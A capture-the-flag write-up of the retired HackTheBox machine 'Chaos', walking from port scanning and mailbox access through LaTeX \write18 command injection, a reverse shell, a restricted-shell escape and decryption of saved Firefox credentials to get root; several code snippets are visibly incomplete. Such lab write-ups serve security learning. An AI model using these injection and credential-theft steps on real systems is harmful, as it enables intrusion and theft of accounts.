HackTheBox Chaos


Around a month ago I started playing with HackTheBox which is a site very similar to Vulnhub. The main difference is that the 20 available machines do not have published solutions. This makes exploiting them more challenging, and it is also the reason why I am publishing right now the writeup of one of the 9 machines I managed to root during this time, as Chaos has been retired about a week ago.


Chaos was overall a fun machine, and definitely taught me something about email protocols and a few other things.

As always, I started from classic nmap recon.


root@kali:~/chaos# nmap -A -sS -sV -p-
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-04 06:46 EDT
Nmap scan report for
Host is up (0.054s latency).
Not shown: 65529 closed ports
80/tcp    open  http?
110/tcp   open  pop3?
| fingerprint-strings: 
|   GenericLines, NULL: 
|_    +OK Dovecot (Ubuntu) ready.
143/tcp   open  imap              Dovecot imapd (Ubuntu)
993/tcp   open  imaps?
995/tcp   open  pop3s?
10000/tcp open  snet-sensor-mgmt?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Device type: firewall
Running (JUST GUESSING): Fortinet embedded (87%)
OS CPE: cpe:/h:fortinet:fortigate_100d
Aggressive OS guesses: Fortinet FortiGate 100D firewall (87%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 256/tcp)
1   ... 30

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 183.20 seconds

Here we can see that there are a few open ports:

  • 80 - HTTP
  • 110/995 - pop3(s)
  • 143/996 - imap(s)
  • 10000 - webmin

As a first thing, I decided to go onto the port 80 and see what kind of web content was there. The site was pretty empty, so I decided to enumerate more.


root@kali:~# nikto -h

- Nikto v2.1.6


- Target IP:
- Target Hostname:
- Target Port:        80
- Start Time:         2019-05-04 07:23:21 (GMT-4)


- Server: Apache/2.4.34 (Ubuntu)
- Server leaks inodes via ETags, header found with file /, fields: 0x49 0x57947aa3269e5
- The anti-clickjacking X-Frame-Options header is not present.
- The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
- The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
- No CGI Directories found (use '-C all' to force check all possible dirs)
- Allowed HTTP Methods: HEAD, GET, POST, OPTIONS
- OSVDB-3233: /icons/README: Apache default file found.
- 7499 requests: 0 error(s) and 6 item(s) reported on remote host
- End Time:           2019-05-04 07:29:11 (GMT-4) (350 seconds)


- 1 host(s) tested

Nikto didn’t report anything really useful, so I run dirb against the target to see if there was some hidden directory.


root@kali:~/chaos# dirb /usr/share/dirb/wordlists/common.txt


DIRB v2.22

## By The Dark Raver

START_TIME: Sat May  4 07:23:03 2019
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt



---- Scanning URL: ----

- (CODE:200|SIZE:73)
- (CODE:403|SIZE:300)

---- Entering directory: ----

---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: ----

- (CODE:200|SIZE:268026)


END_TIME: Sat May  4 07:33:01 2019

The most interesting directory was clearly /wp as at this location there was a Wordpress site, which looked pretty empty.

When a Wordpress site is there, WPscan is a perfect tool to use.


wpscan reproted several findings (possible vulnerable plugins etc.), but the most important was that a user wrote a comment somewhere on the site: user human.

In addition, there was one page that was protected by password.

Here guesswork just paid off. The user is human, so why not trying human password? This, luckily, worked, and I got a page with the content:

Protected: chaos
creds for webmail

username - ayush
password - jiujitsu

Now, these credentials are clearly useful for something, but I was not sure what webmail meant. I tried them against webmin on port 10000 but they did not work.

There was not a Roundcube instance exposed or something similar, so I decided to try to investigate further pop3 and imap ports.


First, I tried to investigate POP3s

root@kali:~# socat  - OPENSSL:chaos:995,verify=0 
+OK Dovecot (Ubuntu) ready.
USER ayush
PASS jiujitsu
+OK Logged in.

The credentials actually worked, but looking around I could not find anything useful.

So I decided to go back to my Kali gui, install Thunderbird and try configuring a new email which uses the target machine as the server and authenticates with the credentials found.

The login worked and once I was logged in, I looked around and found a draft message with some attachment that I downloaded.

root@kali:~/chaos# cat mail 
Hii, sahay
Check the enmsg.txt
You are the password XD.
Also attached the script which i used to encrypt.



The attachment enim_msg.txt was some encrypted string, and in addition there was also a Python script with what looked like the function used to encrypt the content.

root@kali:~/chaos# cat en.py 
def encrypt(key, filename):
    chunksize = 64*1024
    outputFile = "en" + filename
    filesize = str(os.path.getsize(filename)).zfill(16)
    IV =Random.new().read(16)

encryptor = AES.new(key, AES.MODE_CBC, IV)

with open(filename, 'rb') as infile:
    with open(outputFile, 'wb') as outfile:

        while True:
            chunk = infile.read(chunksize)

            if len(chunk) == 0:
            elif len(chunk) % 16 != 0:
                chunk += b' ' * (16 - (len(chunk) % 16))


def getKey(password):
            hasher = SHA256.new(password.encode('utf-8'))
            return hasher.digest()

Looking around on the internet, I foudn that this is a snippet of code from a AES encryption/decryption tool, but instead I decided to just write the decryption function myself.

def decrypt(key):
    chunksize = 64*1024
    input_file = "enim_msg.txt"
    filecontent = open(input_file, 'rb').read()
    print('File content %s bytes' % len(filecontent))
    filesize = filecontent[:16]
    IV = filecontent[16:32]
    ciphertext = filecontent[32:]
    decryptor = AES.new(key, AES.MODE_CBC, IV)
File content 272 bytes

At this point the message decrypted was clearly base64 encoded, so I decoded it.

root@kali:~/chaos# echo "SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK" | base64 -d
Hii Sahay

Please check our new service which create pdf

p.s - As you told me to encrypt important msg, i did :)



The link pointed to some PDF generation page. Here we could insert some code and choose a template, and some PDF would have been generated for us (or at least that’s what the page claimed).

Checking the actual response that the server was giving me, I could see that there was some LaTeX engine behind the page, as the response contained the execution log of the pdflatex command.

From https://0day.work/hacking-with-latex/, surprisingly, I found that it was possible to inject commands by using

\immediate\write18{$CMD} in the PDF generation box. The command would have been injected in the document and LaTeX would have executed it for us.

First I tried some commands to see what I could do, checking the output from the server response. After I could not find anything interesting I decided to just execute as CMD a Python reverse shell, while listening with nc from Kali. So I got a shell as www-data.

Reverse Shell

Once I had my reverse shell, I knew that user had to be close. I started looking around and went into a couple of rabbit holes, such as:

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wp');
/** MySQL database username */
define('DB_USER', 'roundcube');

/** MySQL database password */                 
define('DB_PASSWORD', 'inner[OnCag8');

and even more

$ cat roundcube.conf
<VirtualHost *:80>
        ServerName webmail.chaos.htb

    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/roundcube
    # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
    # error, crit, alert, emerg.
    # It is also possible to configure the loglevel for particular
    # modules, e.g.
    #LogLevel info ssl:warn

    ErrorLog ${APACHE_LOG_DIR}/error_roundcube.log
    CustomLog ${APACHE_LOG_DIR}/access_roundcube.log combined

    <Directory /var/www/roundcube>
            Options -Indexes
            AllowOverride All
            Order allow,deny
            allow from all

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

I was really hoping that I could actually use Roundcube, as this was the webmail I was really expecting to be there at the beginning!

I also managed to login in wordpress as admin, hoping there could be some draft or any other information, by overriding the admin password.

mysql> UPDATE `wp_users` SET `user_pass` = MD5( 'soloiolaso' ) WHERE `wp_users`.`user_login` = "human";

Unfortunately, all of this was useless, as all it was needed was:

www-data@chaos:/etc/dovecot$ su ayush
su ayush
Password: jiujitsu

The shell we got is rbash a restricted shell where almost no command was possible. First, I decided to use su to print the flag.

www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ su -c "cat /home/ayush/user.txt" ayush
<3r3/compile$ su -c "cat /home/ayush/user.txt" ayush             
Password: jiujitsu


At this point I got user, but if I just tried to su to ayush I got a restricted shell, that I would have had to break out from.

Instead, I just spawned a new shell directly.

www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ su -c "python -c 'import pty; pty.spawn(\"/bin/bash\")' " ayush
Password: jiujitsu

ayush@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ ls
Command 'ls' is available in '/bin/ls'
The command could not be located because '/bin' is not included in the PATH environment variable.
ls: command not found

The shell now was fully functional, and just by adding the usual folders to the $PATH variable, I could execute all the commands available.

Privilege escalation

Privilege escalation was quite easy with this specific box. in the Home directory of the user there was a .mozilla folder.

As this was a very peculiar thing to be present, given that mozilla didn’t really have a reason to be there (the program was not even installed), I decided to check it out.

After some research, I understood that this folder was basically a backup of a profile, and therefore I aimed for the credentials saved; these are usually stored in logins.json .

ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default$ cat logins.json
cat logins.json

The password was encrypted, so I could not access it, but I could see that the password was for https://chaos.htb:10000 , which is the webmin interface.

After some more research, I found a tool that can decrypt Mozilla profile passwords, provided the correct master key.

As for everything else on this machine, basically, I used the original jiujitsu password and the decryption succeeded.

ayush@chaos:~/.mozilla$ python firefox_decrypt.py firefox
python firefox_decrypt.py firefox

Master Password for profile firefox/bzo7sjt1.default: jiujitsu

Website:   https://chaos.htb:10000
Username: 'root'
Password: 'Thiv8wrej~'


With the webmin credentials I could login in the web interface, and here we had a root shell waiting for us, from where we could confortably cat the root flag.

cat /root/root.txt